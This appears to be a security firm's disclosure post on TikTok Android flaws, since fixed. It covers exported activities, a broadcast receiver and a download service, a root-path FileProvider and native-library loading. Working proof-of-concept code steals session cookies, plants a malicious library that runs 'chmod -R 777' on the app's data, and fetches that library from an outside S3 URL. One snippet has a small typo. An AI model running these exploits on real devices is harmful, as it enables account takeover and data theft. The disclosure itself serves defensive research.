Oversecured detects dangerous vulnerabilities in the TikTok Android app

Oversecured is a startup focused on automatic vulnerability detection in mobile apps. We have created a cool technology that allows us to find vulnerabilities in Android apps developed using any technology or framework. The service is SaaS-based and allows anyone to check the security of any app they’re using. We’re providing an option for security researchers to scan arbitrary apps in order to submit discovered bugs to app owners, and a business option allowing developers to integrate Oversecured into the development process and scan each new version of the app before rolling it out to app markets. Sign up now to scan arbitrary apps and find your own vulnerabilities!

Summary

Oversecured has once again uncovered high-severity vulnerabilities, this time in the TikTok app. The app contained one vulnerability to theft of arbitrary files with user interaction and three to persistent arbitrary code execution. All these vulnerabilities could have been exploited by a hacker if a user had installed a malicious app onto their Android device. All the vulnerabilities have been removed. Users should update to the latest version on Google Play to enjoy the best experience.

Vulnerability to theft of arbitrary files

Oversecured security researchers scanned the app and discovered the following: vulnerability It turned out that the activity com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity was exported and took an object of class com.ss.android.ugc.aweme.livewallpaper.model.LiveWallPaperBean in the live_wall_paper key, which was then written to a static field. The app then received getVideoPath() from this static field, in the provider com.ss.android.ugc.aweme.livewallpaper.WallPaperDataProvider, created a ParcelFileDescriptor and returned it to an attacker:

    public ParcelFileDescriptor openFile(Uri uri, String str) throws FileNotFoundException {
        String str2 = "";
        int match = this.f83988g.match(uri);
        if (match == 16) {
            str2 = C30504c.m104774a().f84038a.getVideoPath();
        } //...
        try {
            return ParcelFileDescriptor.open(new File(str2), 268435456);

Since the path was fully controllable by the attacker, this provided read-only access to arbitrary files. An attacker could therefore gain access to any files stored in the app’s private directory, and also to history, private messages, and session tokens, resulting in complete access to the user’s account.

Proof of Concept

    String theft = "/data/user/0/com.zhiliaoapp.musically/app_webview/Default/Cookies";

    LiveWallPaperBean bean = new LiveWallPaperBean();
    bean.height = 100;
    bean.width = 100;
    bean.id = "1337";
    bean.source = theft;
    bean.thumbnailPath = theft;
    bean.videoPath = theft;

    Intent intent = new Intent();
    intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity");
    intent.putExtra("live_wall_paper", bean);
    startActivity(intent);

    Uri uri = Uri.parse("content://com.zhiliaoapp.musically.wallpapercaller/video_path");
    new Handler().postDelayed(() -> {
        try {
            Log.d("evil", IOUtils.toString(getContentResolver().openInputStream(uri)));
        }
        catch (Throwable th) {
            throw new RuntimeException(th);
        }
    }, 15000);

Persistent arbitrary code execution vulnerabilities

All code execution vulnerabilities were chained from two independent vulnerabilities: rewriting arbitrary files and dynamically loading code from a file. There are two types of native libraries on Android: libraries stored in the app’s resources (app.apk/lib/...) and libraries loaded dynamically from files. The first type have owner and group set to system, so even the app itself only has read-only access to those files. But the second are usually loaded into the app using a java.lang.System.load(path) call and can have arbitrary ownership, which is why developers often choose this approach to load dynamic code. In all three cases, Oversecured researchers discovered three separate libraries that were used to create Proof of Concepts. The vulnerability could have been exploited by an app that was only run once and then, say, deleted. The library would have been written to the app’s private directory and could have been loaded by the app even after the phone was rebooted or the app restarted. All vulnerabilities relating to arbitrary code execution would have lead to the app and its users becoming thoroughly compromised. The PoC we sent to TikTok made it possible to gain access to arbitrary files stored in the private directory, thus providing access to the user’s account as well as their private messages and videos. Moreover, an attacker could do the same things that the TikTok app could based on its permissions: access user pictures and videos stored on the device, audio records and web browser downloads, record audio and video from the user’s microphone and camera without consent when the app is in use, and read contacts. All the data obtained could have been sent to the attacker’s server in the background without the user knowing, and then analyzed.

Vulnerability via NotificationBroadcastReceiver

vulnerability Broadcast receiver com.ss.android.ugc.awemepushlib.receiver.NotificationBroadcastReceiver is exported and accepts messages from any third-party apps:

    public void onReceive(Context context, Intent intent) {
        if (context != null && intent != null) {
           //...
            Intent intent2 = (Intent) intent.getParcelableExtra("contentIntentURI");
            if ("notification_clicked".equals(action)) {
                //...
                        context.startActivity(intent2);

It also receives an Intent from key contentIntentURI and passes it to startActivity(...). Thus, an attacker gains the ability to launch arbitrary activities with arbitrary data and flag values. As we described in our article on Access to app protected components, the attacker can gain access to arbitrary Content Providers with the parameter android:grantUriPermissions="true". A provider like this was discovered in the TikTok app:

    <provider android:name="android.support.v4.content.FileProvider" android:exported="false" android:authorities="com.zhiliaoapp.musically.fileprovider" android:grantUriPermissions="true">
        <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/k86"/>
    </provider>

which makes it possible to obtain read/write access to arbitrary files:

<?xml version="1.0" encoding="utf-8"?>
<paths xmlns:amazon="http://schemas.amazon.com/apk/res/android" xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto">
    <root-path name="name" path=""/>
    <external-path name="share_path0" path="share/"/>
    <external-path name="download_path2" path="Download/"/>
    <cache-path name="gif" path="gif/"/>
    <external-files-path name="share_path1" path="share/"/>
    <external-files-path name="install_path" path="update/"/>
    <external-cache-path name="share_image_path0" path="picture/"/>
    <external-cache-path name="share_image_path2" path="head/"/>
    <external-cache-path name="share_image_path3" path="feedback/"/>
    <external-cache-path name="share_image_path4" path="tmpimages/"/>
    <cache-path name="share_image_path1" path="picture/"/>
    <cache-path name="share_image_path3" path="head/"/>
    <cache-path name="share_image_path4" path="tmpimages/"/>
</paths>

using path <root-path name="name" path=""/>. The attacker can generate a URI like content://com.zhiliaoapp.musically.fileprovider/name/data/user/0/com.zhiliaoapp.musically/etc

to access arbitrary protected files belonging to the app.

We then discovered a large number of references to native libraries in the app’s code. The most interesting point is that these native libraries are often not even used by the app. In these cases they create a predefined path to the library (for example, /data/user/0/app_package/files/lib.so) and verify its existence using File.exists(), calling System.load(path) if it does exist. That is just what we found in the case of TikTok: a large number of references to libraries that the app was not using and that an attacker would have needed to write a pre-created file to a predefined path in the TikTok app’s private directory.

In this case we studied the app’s scan report once again, specifically the Dynamic code loading section, and found a lot of references in the app:

vulnerability

For this PoC we selected a library located at the path /data/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so.

Proof of Concept
The attacker needs to create a native library in advance (e.g. by compiling their app and extracting the library from it), using the following code fragment:

#include <jni.h>
#include <string.h>
#include <stdlib.h>

JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
    system("chmod -R 777 /data/user/0/com.zhiliaoapp.musically/");

    JNIEnv* env;
    if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
        return JNI_ERR;
    }
    return JNI_VERSION_1_6;
}

When the library is loaded to System.load(path) the command chmod -R 777 /data/user/0/com.zhiliaoapp.musically/ is executed and changes file rights from private to world-readable/writable.

Code in the attacker’s app:

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        handleIntent(getIntent());
    }

    protected void onNewIntent(Intent intent) {
        super.onNewIntent(intent);
        handleIntent(intent);
    }

    private void handleIntent(Intent i) {
        if(!"evil".equals(i.getAction())) {
            Intent next = new Intent("evil");
            next.setClassName(getPackageName(), getClass().getCanonicalName());
            next.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
            next.setData(Uri.parse("content://com.zhiliaoapp.musically.fileprovider/name/data/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so"));

            Intent intent = new Intent("notification_clicked");
            intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver");
            intent.putExtra("contentIntentURI", next);
            sendBroadcast(intent);
        }
        else {
            try {
                OutputStream o = getContentResolver().openOutputStream(i.getData());
                InputStream in = getAssets().open("evil_lib.so");
                IOUtils.copy(in, o);
                inp.close();
                o.close();
            }
            catch (Throwable th) {
                throw new RuntimeException(th);
            }
        }
    }

When TikTok is launched next, and on all subsequent occasions, it will automatically load the specified library and execute the code contained in it, leading to persistent arbitrary code execution.

Vulnerability via DetailActivity

vulnerability Activity com.ss.android.ugc.aweme.detail.ui.DetailActivity is exported and receives an external Intent via the VENDOR_BACK_INTENT_FOR_INTENT_KEY parameter:

    android.content.Intent intent;
    if (!com.ss.android.ugc.aweme.utils.p1532d.C40319c.m140001c() || (intent = (android.content.Intent) getIntent().getParcelableExtra("VENDOR_BACK_INTENT_FOR_INTENT_KEY")) == null || intent.resolveActivity(getPackageManager()) == null) {
        if (this.f71512i) {
            com.ss.android.ugc.aweme.common.C23135h.m87141a("back", com.ss.android.ugc.aweme.app.p902g.C20358d.m78056a().mo59787a("enter_from", "poi_video_leaderboard").mo59787a("previous_page", this.f71513j).f63101a);
        }

it then passes the object it receives to startActivity(...) when the phone’s Back button is pressed

            com.ss.android.ugc.aweme.utils.C40278az.m139806a(new com.ss.android.ugc.aweme.feed.event.C25835an(42));
            return;
        }
        startActivity(intent);
        finish();
    }

As in the previous PoC, we used the provider com.zhiliaoapp.musically.fileprovider to write arbitrary files to the library at /data/user/0/com.zhiliaoapp.musically/app_librarian/14.7.5.6172264464/libAkeva.so

Proof of Concept
The code to generate the native library is the same. The Java code for the attacker’s app:

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        handle(getIntent());
    }

    protected void onNewIntent(Intent intent) {
        super.onNewIntent(intent);
        handle(intent);
    }

    private void handle(Intent i) {
        if(!"evil".equals(i.getAction())) {
            Intent next = new Intent("evil");
            next.setClassName(getPackageName(), getClass().getCanonicalName());
            next.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
            next.setData(Uri.parse("content://com.zhiliaoapp.musically.fileprovider/name/data/user/0/com.zhiliaoapp.musically/app_librarian/14.7.5.6172264464/libAkeva.so"));

            Intent intent = new Intent();
            intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.aweme.detail.ui.DetailActivity");
            intent.putExtra("VENDOR_BACK_INTENT_FOR_INTENT_KEY", next);
            intent.putExtra("id", "123");
            startActivity(intent);
        }
        else {
            try {
                OutputStream o = getContentResolver().openOutputStream(i.getData());
                InputStream in = getAssets().open("evil_lib.so");
                IOUtils.copy(in, o);
                in.close();
                o.close();
            }
            catch (Throwable th) {
                throw new RuntimeException(th);
            }
        }
    }

Vulnerability via IndependentProcessDownloadService AIDL interface

The app also included an unprotected service com.ss.android.socialbase.downloader.downloader.IndependentProcessDownloadService, which returned a binder object in the file com/ss/android/socialbase/downloader/downloader/DownloadService.java:

    if (this.downloadServiceHandler != null) {
        return this.downloadServiceHandler.onBind(intent);
    }

allowing the attacker to call arbitrary methods belonging to this interface. One of the methods available is tryDownload, which takes a URL for file download, a file name, and a save path. To exploit this vulnerability successfully, an attacker would have needed to create an object of class com.ss.android.socialbase.downloader.model.DownloadInfo and write the necessary values to it, then pack it to com.ss.android.socialbase.downloader.model.DownloadTask and use app code via the Reflection API to convert it into the right format for passing via AIDL.

Proof of concept

    static final String url = "https://redacted.s3.amazonaws.com/evil_lib.so";
    static final String path = "/data/user/0/com.zhiliaoapp.musically/app_lib/";
    static final String name = "libuserinfo.so";

    private ServiceConnection mServiceConnection = new ServiceConnection() {
        public void onServiceConnected(ComponentName cName, IBinder service) {
            processBinder(service);
        }

        public void onServiceDisconnected(ComponentName cName) {
        }
    };

    public static ClassLoader getForeignClassLoader(Context context, String str) throws Exception {
        return context.createPackageContext(str, Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY)
        	.getClassLoader();
    }

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Intent intent = new Intent("com.ss.android.socialbase.downloader.remote");
        intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.socialbase.downloader.downloader.IndependentProcessDownloadService");
        bindService(intent, mServiceConnection, BIND_AUTO_CREATE);
    }

    private void processBinder(IBinder binder) {
        try {
            ClassLoader cl = getForeignClassLoader(this, "com.zhiliaoapp.musically");
            Object handler = cl.loadClass("com.ss.android.socialbase.downloader.downloader.i$a")
                    .getMethod("asInterface", IBinder.class)
                    .invoke(null, binder);

            Object payload = getBinder(cl);

            cl.loadClass("com.ss.android.socialbase.downloader.downloader.i")
                    .getMethod("tryDownload", cl.loadClass("com.ss.android.socialbase.downloader.model.a"))
                    .invoke(handler, payload);
        }
        catch (Throwable th) {
            throw new RuntimeException(th);
        }
    }

    private Object getBinder(ClassLoader cl) throws Throwable {
        Class utilsClass = cl.loadClass("com.ss.android.socialbase.downloader.utils.g");
        Class taskClass = cl.loadClass("com.ss.android.socialbase.downloader.model.DownloadTask");
        return utilsClass.getDeclaredMethod("convertDownloadTaskToAidl", taskClass)
                .invoke(null, getDownloadTask(taskClass, cl));
    }

    private Object getDownloadTask(Class taskClass, ClassLoader cl) throws Throwable {
        Class infoClass = cl.loadClass("com.ss.android.socialbase.downloader.model.DownloadInfo");
        Object info = getDownloadInfo(infoClass, cl);
        return taskClass.getDeclaredConstructor(infoClass).newInstance(info);
    }

    private Object getDownloadInfo(Class infoClass, ClassLoader cl) throws Throwable {
        Object info = infoClass.newInstance();

        Field field;

        field = infoClass.getDeclaredField("url");
        field.setAccessible(true);
        field.set(info, url);

        field = infoClass.getDeclaredField("savePath");
        field.setAccessible(true);
        field.set(info, path);

        field = infoClass.getDeclaredField("name");
        field.setAccessible(true);
        field.set(info, name);

        field = infoClass.getDeclaredField("enqueueType");
        field.setAccessible(true);
        field.set(info, cl.loadClass("com.ss.android.socialbase.downloader.constants.EnqueueType").getEnumConstants()[1]);

        return info;
    }

Conclusion

Dangerous vulnerabilities can be found even in the most popular apps, such as TikTok. Oversecured aims to help developers correct all vulnerabilities in their apps. We are glad we could make TikTok more secure, and we are grateful to the TikTok team for their responsiveness, their quick reaction, and their help in uncovering the vulnerabilities.